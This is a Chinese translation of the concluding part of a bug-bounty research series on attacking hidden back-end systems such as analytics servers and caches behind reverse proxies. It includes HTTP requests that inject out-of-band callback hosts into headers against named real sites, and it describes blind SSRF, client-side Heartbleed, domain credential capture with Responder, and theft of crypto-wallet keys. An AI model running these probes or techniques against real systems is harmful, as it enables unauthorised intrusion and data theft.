译者:WisFree
预估稿费:200RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
为了增强用户体验度,现代Web网站架构中都包含了各种各样的“隐藏系统”,这些系统不仅可以给用户提供各种额外的服务,而且还可以帮助管理员提取网站各方面的分析数据。但是,这些隐藏系统同样也是近些年里经常被人们忽略的隐形攻击面。
前文回顾
在本系列文章的上集,我们对现代Web应用架构中的隐藏系统以及隐藏服务进行了简单描述,并且介绍了本系列文章中所要使用的工具以及技术。在本系列文章的中集,我们介绍了几种可以暴露目标阻止隐藏服务或隐藏系统的几种简单方法,那么在下集中,我们将会用实际的目标来给大家演示如何利用这些技术寻找到隐藏系统,并利用其中存在的安全漏洞来完成入侵攻击。
四、目标设定为辅助系统
目前为止,我们已经了解了反向代理所能呈现出的变化以及多样性,并且还介绍了能够让反向代理错误传递请求的技术,但是这种技术所能带来的影响并没有完全发挥出来。在这一章节中我们将会看到,当你在遇到类似后台分析服务器或缓存这样的辅助系统时,想要找出一个可以利用的漏洞会比引发一次服务器回调要困难得多。
1.收集信息
与基于路由的攻击技术不同,这些技术一般来说并不会破坏目标网站原本正常的功能,而Collaborator Everywhere正是通过向每一个请求注入不同的攻击向量来利用了这项技术:
GET / HTTP/1.1
Host: store.starbucks.ca
X-Forwarded-For: a.burpcollaborator.net
True-Client-IP: b.burpcollaborator.net
Referer: http://c.burpcollaborator.net/
X-WAP-Profile: http://d.burpcollaborator.net/wap.xml
Connection: close
X-Forwarded-For
其中有一种回调技术示例(即X-Forwarded-For和True-Client-IP这两个HTTP头)虽然很容易触发,但是想要利用它们却非常困难,而这两个HTTP头一般是渗透测试人员用来伪造IP地址和主机名时使用的。信任这些HTTP头的应用程序将会执行DNS查询并尝试将请求中提供的主机名解析为相应的IP地址。这也就意味着,这些应用程序将无法抵御IP欺骗攻击,但是除非你已经找到了一个非常方便利用的DNS库内存崩溃漏洞,否则我们仍然难以去利用这种回调行为所存在的安全漏洞。
Referer
类似的,Web分析系统通常会获取访问者所提供的Referer头中任何未识别的URL地址。某些分析系统甚至还会出于SEO索引之类的目的,来尝试对一个Referer头中URL地址所指向的网站进行完整爬取。这种行为就非常危险了,所以我们也许可以定义一个不那么严格的robots.txt文件来鼓励目标系统的这种危险行为,并将其转换为一种Blind-SSRF漏洞,因为对于用户来说,他们根本无法查看到分析系统的请求结果,而且分析系统一般在用户提供了请求之后的几分钟或几个小时才能生成分析结果,这也就使得情况更加的复杂了。
参数复制
出于某种原因,如果查询字符串中某个URL出现了两次的话,Incapsula将会直接尝试获取这个URL所指向的资源。但不幸的是,Incapsula并没有设立自己的漏洞奖励计划,所以我就没有再花时间去研究这个漏洞是否可以被进一步利用了。
X-Wap-Profile
X-Wap-Profile是一种非常古老的HTTP头了,它可以向设备的用户代理配置(UAProf)中指定一个URL地址。配置文件UAProf是一种XML文档,它用于定义设备的基本特性,例如屏幕尺寸、蓝牙功能、以及可支持的协议和字符等等:
GET / HTTP/1.1
Host: facebook.com
X-Wap-Profile: http://nds1.nds.nokia.com/uaprof/N6230r200.xml
Connection: close
兼容的应用程序将会从这个HTTP头中提取出URL地址,然后获取并解析指定的XML文档,这样它们就可以将目标内容更好地提供给客户端了。但是这样的运行机制其安全风险是非常高的,因为这些应用程序将有可能从不受信任的URL地址获取资源并解析不受信任的XML文档,并导致更加严重的安全问题出现。但对我们来说不幸的是,这种功能并没有被广泛采用,而Facebook是唯一一个既拥有漏洞奖励计划又存在这个安全问题的网站,不过它们再处理这些XML解析时非常的小心谨慎,而且它们会在接收到请求的二十六个小时之后才去获取指定的XML文档,这也使得我们的测试变得非常困难。
2.远程客户端漏洞利用
在这些场景中,想要直接找到SSRF漏洞并加以利用其实是非常困难的,因为我们无法及时接收到应用程序的反馈结果(各种延时处理)。因此,我决定将注意力放在与我们连接在一起的客户端身上。由于反向代理的存在,这些客户端一般都没有经过严格的安全审计,而且我们甚至还可以直接用现成的工具来利用其中存在的安全漏洞。比如说,我可以通过与服务器建立一条HTTPS通信链接,并对已连接的系统发动客户端Heartbleed攻击来轻松窃取到服务器中的内存信息。类似PhantomJS这样的无头(Headless)浏览器一般都是过时的,而且已经很久没有进行过安全更新了。除此之外,基于Windows的客户端也会向运行了SpiderLabs Responder的服务器自动上传域名证书,而且lcamtuf的p0f还可以帮助我们发现用户代理背后所运行的客户端。
虽然应用程序一般都会对URL输入进行过滤,但是很多代码库仍然会直接去处理重定向链接,因为不同的重定向链接会展现出不同的行为模式。比如说,Rumblr的URL预览功能只支持HTTP协议,但是它也支持指向FTP服务的重定向链接。
而且某些客户端所做的不仅仅是简单地去下载一个页面,它们还会给用户呈现页面并执行其中包含的JavaScript代码,而这种行为将会暴露非常大的攻击面。
你可以从上图的汇总结果中看到,其中有两个无法识别的JavaScript属性-'parity'和'System',这两个属性已经被注入到了网站中并负责发起以太币转账操作。这些无法识别的JavaScript属性其实是非常有用的,比如说我们可以利用'parity'属性来窃取用户“加密货币钱包”的公钥,而这种独一无二的密钥可以帮助我们查看用户的余额或窃取其中的加密货币。
五、总结
近些年来,越来越多的企业和组织设立了自己的漏洞奖励计划,而这也间接导致了一种新型的研究方式出现,我们现在甚至可以在十五分钟之内对成千上万服务器进行测试以验证某种新型的攻击技术。而我正是利用了这种方法发现了反向代理中存在的问题将有可能导致严重的安全漏洞出现,并在这一过程中获得了三万三千美刀的漏洞奖金。为了更好地实现纵深防御,反向代理应该受到增强型防火墙的保护,并尽可能地与公共访问进行隔离。
在本系列文章中,我们给大家演示了如何去发现那些隐藏在后台的后端系统/服务,并深入了解了这些隐藏系统的运行机制。虽然这些隐藏系统中的安全问题不会给服务带来严重的灾难,但它们的确暴露出了非常广阔的攻击面。当然了,真正的攻击者肯定不会放过这些攻击面,而此时目标网站的服务可就摇摇欲坠了。
本系列文章到此终于结束了,希望文章内容可以给大家平时的渗透测试带来一些灵感和启发,毕竟信息安全领域的人需要的是各种发散性的思维,希望可以帮到大家。
注:欢迎感兴趣或有能力的用户给Collaborator Everwhere【GitHub】以及Hackability【GitHub】这两款开源工具贡献代码。